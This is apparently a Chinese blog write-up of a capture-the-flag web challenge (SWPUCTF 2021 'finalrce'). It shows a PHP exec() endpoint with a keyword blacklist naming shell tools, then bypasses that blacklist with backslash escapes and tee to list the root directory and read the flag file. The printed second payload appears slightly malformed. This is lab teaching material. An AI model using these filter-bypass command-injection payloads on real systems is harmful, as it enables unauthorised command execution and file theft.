[SWPUCTF 2021 新生赛]finalrce

[SWPUCTF 2021 新生赛]web 解题思路,实操解析,解题软件,解题方法 关于sql注入 立即下载
 <?php
 highlight_file(__FILE__);
 if(isset($_GET['url']))
 {
     $url=$_GET['url'];
     if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
     {
         echo "Sorry,you can't use this.";
     }
     else
     {
         echo "Can you see anything?";
         exec($url);
     }
 }

过滤了很多东西,直接读文件和反弹shell不太能用了,并且这里如果直接取反的话是无回显的,所以我们要么写文件要么反弹shell,但是正常写文件的>符号被过滤,反弹shell的bash、nc、&、>等符号都被过滤了,我直接无从下手了

这里就需要绕过关键字过滤,看了一下大佬们的wp

转义符\绕过

转义字符是用于在字符串中表示特殊字符的符号。它通常以反斜杠(\)开头,后面跟随一个特定的字符,以表示该字符的特殊含义或防止其被解释为其他含义。在不同的编程语言或环境中,转义字符的实际含义可能会有所不同,但在许多情况下,它们用来处理以下几种情况:

1. 表示特殊字符:

某些字符在字符串中有特殊的意义,使用转义字符可以让它们被当作普通字符来处理。例如:

  • \':表示单引号字符。

  • \":表示双引号字符。

  • \\:表示反斜杠字符。

2. 代表不可见或控制字符:

转义字符还可以用来表示不可见或控制字符,如:

  • \n:换行符。

  • \t:制表符。

  • \r:回车符。

3. 编码字符:

某些程序或语言支持通过转义字符来表示Unicode字符,如:

  • \uXXXX:表示对应的Unicode字符,其中XXXX是四位十六进制数字。

示例:
 command | tee [OPTION]... [FILE]...  

在PHP中,转义字符在字符串中用来处理复杂的字符:

 $example = "He said, \"Hello, World!\""; // 双引号需要转义
 $path = "C:\\Program Files\\MyApp"; // 反斜杠需要转义

tee命令绕过>过滤

我们正常写文件要用到>符号,这里被过滤了,我们可以利用linux系统的tee命令来写文件

tee 命令是 Linux 中一个非常有用的命令行工具,它用于从标准输入读取数据,并将其同时输出到标准输出(通常是终端)和一个或多个文件中。它的名称来自于字母“T”,形象地表示数据分流的过程。

基本语法
 command | tee [OPTION]... [FILE]... 
 
常用选项
  • -a:将输出追加到文件末尾,而不是覆盖文件。

  • -i:忽略中断信号。

使用示例
  1. 基本用法: 将 echo 的输出同时显示在终端和文件中:

     echo "Hello World" | tee output.txt  

    这会将 "Hello World" 输出到终端,并同时写入 output.txt 文件。

  2. 追加到文件: 使用 -a 选项将内容追加到文件中:

     echo "Another line" | tee -a output.txt 
     

    这会将 "Another line" 添加到 output.txt 文件的末尾,而不会覆盖原有内容。

  3. 从其他命令获取输出: 将 ls 命令的输出同时传递给 tee 命令:

     ls -l | tee output.txt  

    这会将 ls -l 的输出显示在终端上,并保存到 output.txt 文件中。

  4. 多个文件: 将输出同时写入多个文件:

     echo "Log message" | tee file1.txt file2.txt  

    这会将 "Log message" 同时写入 file1.txt 和 file2.txt。

解题

知道怎么绕过关键字过滤本题解法就一目了然了

首先查看根目录文件

 ?url=l\s / | tee 1.txt

然后我们访问1.txt就可以看到回显内容,看到flag文件flllllaaaaaaggggggg,我们访问

 ?url=tac /flllll\aaaaaaggggggg | 1.txt

由于la被过滤,所以l和a中间要加转义符,访问1.txt,拿到flag

相关推荐

SEED-VII 实战指南:如何利用多模态脑电图数据提升情感识别精度

本文提供了SEED-VII多模态脑电图数据集的实战指南,详细介绍了如何利用该数据集提升情感识别精度。内容涵盖数据获取、预处理、特征提取,以及构建多模态融合神经网络模型的关键步骤,并强调了被试者独立评估的重要性,为情感计算研究者提供了从数据到模型的全流程解决方案。

weixin_29196891的博客 318

【SWPUCTF 2021 新生赛】finalrce

Linux tee命令用于读取标准输入的数据,并将其内容输出成文件。通过测试,为无回显RCE,访问3.txt得到flag。

XiaoHei的博客 448

保姆级教程:用TI IWR6843雷达板跑通3D人体追踪demo(附CCS/UniFlash避坑指南)

本文提供了一份详尽的TI IWR6843毫米波雷达开发板3D人体追踪demo实现指南,涵盖开发环境搭建、工程导入编译、固件烧录及可视化工具配置全流程。特别针对CCS和UniFlash使用中的常见问题给出解决方案,帮助开发者快速掌握3D People Tracking技术应用。

weixin_29159441的博客 515

[SWPUCTF 2021 新生赛]finalrce wp

PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit默认1000000,超过1000000不会返回1或0而是false即超过限制即可。

Leaf_initial的博客 1092

基于STM32与毫米波雷达的非接触式睡眠监测系统

物联网和嵌入式系统技术正在推动医疗健康设备的智能化发展。通过传感器网络采集生理信号,结合信号处理算法实现健康监测已成为主流技术方案。毫米波雷达凭借其非接触检测特性,在呼吸、心率等生命体征监测中展现出独特优势。STM32系列MCU凭借丰富外设和低功耗特性,成为医疗级嵌入式设备的首选平台。本系统整合60GHz毫米波雷达、红外测温与无线传输模块,构建了完整的睡眠质量评估解决方案,其硬件架构设计、信号处理算法和低功耗优化策略对可穿戴医疗设备开发具有参考价值。

weixin_36369848的博客 614

人像抠图 + OpenGL ES 还能这样玩?没想到吧(附带源码)

OpenGL ES 利用抠图算法实现人像留色。

字节流动 3万+

[SWPUCTF 2021 新生赛] finalrce

文章摘要: 本文解析了CTF题目finalrce的无回显RCE漏洞利用过程。题目通过PHP的exec()执行用户输入的url参数,但过滤了bash、cat等关键命令及符号。解题时,使用反斜杠绕过过滤(如l\s替代ls),并通过tee命令将结果写入文件(如1.txt)间接获取回显。最终读取/flllllaaaaaaggggggg文件获得flag。核心技巧包括命令绕过、管道与tee的配合使用,适用于无回显场景下的信息泄露。通过本题可掌握CTF中命令执行与过滤绕过的实战思路。

日期待填的博客 620

Temporal Noise Reduction(TNR)时序去噪技术解析:原理、平台实践与工程调优路径

随着高画质夜景拍照和高清视频拍摄需求的持续增长,图像传感器在低照度环境下输出信号的噪声问题日益突出。相比空间域降噪(SNR),时序去噪(Temporal Noise Reduction, TNR)利用帧间信息进行融合处理,具备更高的信噪比提升效率及更强的边缘保护能力,已成为移动影像ISP链路中的核心环节。本文系统剖析TNR的算法原理、平台实现机制与工程调试路径,并基于实际开发案例分析其在不同场景下的效果差异及调优方法,为工程师提供从理论到实操的完整路径参考。

努力分享一些人工智能、计算机视觉、影像等相关的知识干货! 3206

[SWPUCTF 2021 新生赛]finalrce rce作业3

这里有两个文件,打开第一个文件发现提示,真的flag文件在flllllaaaaaaggggggg中,于是重复操作,将读取的内容写到2.txt文件中。.读取文件得到flag。到这里发现该题过滤了许多指令于是我只能采用绕过符号,来绕过过滤于是输入命令?url=l's'出现。没有显示内容,于是我查找资料发现了tee命令(

xiemeng2006的博客 435

YOLO26 正式发布源代码!极致速度优化方案, 面向工业级落地的目标检测模型!

YOLO26 作为 Ultralytics 公司于 2025 年 9 月发布的最新一代目标检测模型,在架构设计和技术实现上展现了显著的创新。本文深入分析了 YOLO26 的核心架构改进和技术原理,重点探讨了其在边界框回归、推理流程、损失函数设计和优化算法方面的突破性进展。

魔改工程师的博客 1245

【基础演练】Playwright 极简复习:作为 AI-RPA 底座的 Playwright 核心用法

摘要: 2026年,Playwright已从测试工具升级为AI-RPA标准执行底座,周下载量超3300万,被browser-use等AI Agent项目广泛采用。其核心架构通过Playwright Server实现多浏览器协议适配,支持远程连接与高并发隔离(BrowserContext)。自动等待机制显著提升稳定性,但高频交互场景可能需直接使用CDP协议。Playwright凭借跨浏览器兼容性、轻量级隔离和微软官方支持,成为测试、RPA和AI Agent领域的事实标准,未来将主导对话式自动化市场。

ZDQ58818的博客 238

[SWPUCTF 2021 新生赛]finalrce(tee)

可以看到的是没有过滤|这个符号,然后exec执行是没有回显的,这个题目是需要用linux的一个命令,”tee“将想要执行的命令写入到一个文件里面,然后再去访问这个文件,以此来执行这个命令。url=l\s / | tee 1.txt 之后访问我们传入的文件1.txt,发现命令被执行。本来应该是url=ls/ 可是ls被过滤掉了,然后看别的up主说,l\s可以代替ls |是执行以下命令的意思。

kuzemax的博客 398

中远麒麟堡垒机 SQL注入漏洞复现

中远麒麟堡垒机/baoleiji/api/tokens接口处存在sql注入漏洞,未经身份认证的攻击者可通过该漏洞获取数据库敏感信息及凭证,最终可能导致服务器失陷。

0xSec 2996

[SWPUCTF 2021 新生赛]finalrce 做题记录

由于函数exec()执行完不返回结果,所以我们可以借助tee把命令写到文件里面去。通过访问文件来得到结果。虽然ls被禁了,但是我们可以用转义符或者引号来绕过。最终是在flllllaaaaaaggggggg里面找到的flag。在linux里有一个tee命令。这里贴一下菜鸟教程的解释。一般用的命令都被禁了。然后访问2.txt就可以了。然后去访问1.txt。

qq_64222098的博客 392

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

NSSCTF刷题笔记web15——[SWPUCTF 2021 新生赛]finalrce

然后通过管道符传入到一个txt文件,我们再浏览器访问对应txt文件就可以看到数据了,因为exec在php中是无回显的执行命令函数。难道还可以用''绕过吗,如果可以,那不就有点扯了,因为如果真的有一个叫flllll''aaaaaaggggggg的文件那怎么办?那么后面的参数,要读的文件flllllaaaaaaggggggg,被过滤了la。如果真的有个叫flllll''aaaaaaggggggg怎么办,在本地试试看吧。于是就去看了看别人的wp,发现大家在ls中间加入''变成l''s可以执行命令。

qq_45692883的博客 468

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

NSSCTF做题记录六 | [SWPUCTF 2021 新生赛]finalrce、[UUCTF 2022 新生赛]websign、[HDCTF 2023]Welcome To HDCTF 2023、

本文总结了四个CTF题目的解题思路:1.[SWPUCTF2021]finalrce考察无回显命令执行,通过\绕过关键字过滤并使用管道符将输出写入文件;2.[UUCTF2022]通过view-source协议查看源码获取flag;3.[HDCTF2023]在JS游戏源码中找到JSFuck编码并在控制台解码;4.[HNCTF2022]利用文件包含漏洞,通过php伪协议读取base64编码的flag.php。解题关键在于代码审计、绕过技巧(如转义字符、伪协议)和源码分析,遇到include函数、过滤限制等情况应考

hhhhde_的博客 500

计算机控制技术及应用

《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术,以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索,主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式,计算机控制系统的数学描述与基本分析方法,以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。

[SWPUCTF 2021 新生赛]finalrce(管道符(|)+tee绕过exec无回显 反斜杠或者单(双)引号绕过正则表达式)

总结:当正则表达式没有过滤掉反斜杠或者单引号或者双引号(本题双引号被过滤,不再演示),那么可以使用单引号或者双引号包裹命令(ls cat等)任意一个字符,只要他们不是一个整体就行,或者使用反斜杠插入到命令里面(ca\t c\at等)即可实现绕过。由于正则表达式过滤掉了很多命令,但是注意看,反斜杠和单引号都没有被注释掉,那么我们就可以利用这一点来绕过被禁止掉的命令。得到敏感文件,再进行内容读取,由于cat和la同样被禁用,还是相同的方法。构造payload:url=l\s /|tee 1.txt;

2401_84499442的博客 872
上一篇: (萌新向)对于nodejs原型链污染中merge函数的作用的个人理解
下一篇: PolarCTF网络安全2025春季个人挑战赛 web方向个人wp
Acc1oFl4g
博客等级 码龄7年 112粉丝 24原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值